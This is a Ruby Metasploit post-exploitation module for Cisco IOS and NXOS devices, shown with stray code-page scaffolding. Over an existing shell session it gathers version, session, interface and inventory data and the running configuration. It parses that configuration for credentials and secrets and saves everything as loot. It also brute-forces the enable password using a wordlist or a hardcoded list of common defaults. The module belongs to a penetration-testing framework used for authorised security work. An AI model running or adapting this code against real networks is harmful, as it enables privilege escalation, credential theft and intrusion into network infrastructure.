238 lines
6.1 KiB
Ruby
238 lines
6.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/auxiliary/cisco'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
include Msf::Auxiliary::Cisco
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Gather Cisco Device General Information',
|
|
'Description' => %q{
|
|
This module collects a Cisco IOS or NXOS device information and configuration.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
|
'Platform' => [ 'cisco'],
|
|
'SessionTypes' => [ 'shell' ]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']),
|
|
OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def run
|
|
# Get device prompt
|
|
prompt = session.shell_command("")
|
|
|
|
# Set terminal length to 0 so no paging is required
|
|
session.shell_write("term len 0 \n")
|
|
|
|
# Get version info
|
|
print_status("Getting version information")
|
|
show_ver_cmd = "show version"
|
|
ver_out = session.shell_command(show_ver_cmd)
|
|
ver = ver_out.gsub(/show version/,"")
|
|
|
|
|
|
# Get current privilege level
|
|
print_status("Getting privilege level")
|
|
priv_cmd = "show priv"
|
|
priv = (session.shell_command(priv_cmd)).scan(/privilege level is (\d*)/).join
|
|
|
|
# Check if this is a Nexus or IOS box
|
|
case ver
|
|
when /Nexus/
|
|
os_type = "Nexus"
|
|
mode = "EXEC"
|
|
os_loot = "nxos"
|
|
when /IOS/
|
|
os_type = "IOS"
|
|
os_loot = "ios"
|
|
end
|
|
if os_type == "IOS"
|
|
case prompt
|
|
when />/
|
|
mode = "EXEC"
|
|
when /#/
|
|
mode = "PRIV"
|
|
end
|
|
end
|
|
|
|
print_status("The device OS is #{os_type}")
|
|
print_status("Session running in mode #{mode}")
|
|
print_status("Privilege level #{priv}")
|
|
|
|
case os_type
|
|
when /IOS/
|
|
ver_loc = store_loot("cisco.ios.version",
|
|
"text/plain",
|
|
session,
|
|
ver.strip,
|
|
"version.txt",
|
|
"Cisco IOS Version")
|
|
when /Nexus/
|
|
ver_loc = store_loot("cisco.nxos.version",
|
|
"text/plain",
|
|
session,
|
|
ver.strip,
|
|
"version.txt",
|
|
"Cisco NXOS Version")
|
|
end
|
|
|
|
# Print the version of VERBOSE set to true.
|
|
vprint_status("version information stored in to loot, file:#{ver_loc}")
|
|
|
|
# Enumerate depending priv level
|
|
case priv
|
|
when "1"
|
|
enum_exec(prompt)
|
|
if get_enable(datastore['ENABLE'],datastore['WORDLIST'])
|
|
enum_priv(prompt)
|
|
end
|
|
when /7|15/
|
|
enum_exec(prompt)
|
|
enum_priv(prompt)
|
|
end
|
|
end
|
|
|
|
def get_enable(enable_pass,pass_file)
|
|
if enable_pass
|
|
found = false
|
|
en_out = session.shell_command("enable").to_s.strip
|
|
en_out = session.shell_command(enable_pass)
|
|
if en_out =~ /Password:/
|
|
print_error("Failed to change privilege level using provided Enable password.")
|
|
else
|
|
found = true
|
|
end
|
|
else
|
|
if pass_file
|
|
if not ::File.exists?(pass_file)
|
|
print_error("Wordlist File #{pass_file} does not exists!")
|
|
return
|
|
end
|
|
creds = ::File.open(pass_file, "rb")
|
|
else
|
|
creds = "Cisco\n" << "cisco\n"<< "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"
|
|
end
|
|
print_status("Trying to get higher privilege level with common Enable passwords..")
|
|
|
|
# Try just the enable command
|
|
en_out = session.shell_command("enable").to_s.strip
|
|
if en_out =~ /Password:/
|
|
creds.each_line do |p|
|
|
next if p.strip.length < 1
|
|
next if p[0,1] == "#"
|
|
print_status("\tTrying password #{p.strip}")
|
|
pass_out = session.shell_command(p.strip).to_s.strip
|
|
vprint_status("Response: #{pass_out}")
|
|
session.shell_command("enable").to_s.strip if pass_out =~ /Bad secrets/
|
|
found = true if pass_out =~ /#/
|
|
break if found
|
|
end
|
|
else
|
|
found = true
|
|
end
|
|
end
|
|
if found
|
|
print_good("Obtained higher privilege level.")
|
|
return true
|
|
else
|
|
print_error("Could not obtain higher privilege level.")
|
|
return false
|
|
end
|
|
end
|
|
|
|
# Run enumeration commands for when privilege level is 7 or 15
|
|
def enum_priv(prompt)
|
|
host,port = session.session_host, session.session_port
|
|
priv_commands = [
|
|
{
|
|
"cmd" => "show run",
|
|
"fn" => "run_config",
|
|
"desc" => "Cisco Device running configuration"
|
|
},
|
|
{
|
|
"cmd" => "show cdp neigh",
|
|
"fn" => "cdp_neighbors",
|
|
"desc" => "Cisco Device CDP Neighbors"
|
|
},
|
|
{
|
|
"cmd" => "show lldp neigh",
|
|
"fn" => "cdp_neighbors",
|
|
"desc" => "Cisco Device LLDP Neighbors"
|
|
}
|
|
]
|
|
priv_commands.each do |ec|
|
|
cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/,"")
|
|
next if cmd_out =~ /Invalid input|%/
|
|
print_status("Gathering info from #{ec['cmd']}")
|
|
# Process configuration
|
|
if ec['cmd'] =~/show run/
|
|
print_status("Parsing running configuration for credentials and secrets...")
|
|
cisco_ios_config_eater(host,port,cmd_out)
|
|
end
|
|
cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
|
|
"text/plain",
|
|
session,
|
|
cmd_out.strip,
|
|
"#{ec['fn']}.txt",
|
|
ec['desc'])
|
|
vprint_status("Saving to #{cmd_loc}")
|
|
end
|
|
end
|
|
|
|
# run commands found in exec mode under privilege 1
|
|
def enum_exec(prompt)
|
|
exec_commands = [
|
|
{
|
|
"cmd" => "show ssh",
|
|
"fn" => "ssh_sessions",
|
|
"desc" => "SSH Sessions on Cisco Device"
|
|
},
|
|
{
|
|
"cmd" => "show sessions",
|
|
"fn" => "telnet_sessions",
|
|
"desc" => "Telnet Sessions on Cisco Device"
|
|
},
|
|
{
|
|
"cmd" => "show login",
|
|
"fn" => "login_settings",
|
|
"desc" => "Login settings on Cisco Device"
|
|
},
|
|
{
|
|
"cmd" => "show ip interface brief",
|
|
"fn" => "interface_info",
|
|
"desc" => "IP Enabled Interfaces on Cisco Device"
|
|
},
|
|
{
|
|
"cmd" => "show inventory",
|
|
"fn" => "hw_inventory",
|
|
"desc" => "Hardware component inventory for Cisco Device"
|
|
}]
|
|
exec_commands.each do |ec|
|
|
cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/,"")
|
|
next if cmd_out =~ /Invalid input|%/
|
|
print_status("Gathering info from #{ec['cmd']}")
|
|
cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
|
|
"text/plain",
|
|
session,
|
|
cmd_out.strip,
|
|
"#{ec['fn']}.txt",
|
|
ec['desc'])
|
|
vprint_status("Saving to #{cmd_loc}")
|
|
end
|
|
end
|
|
end
|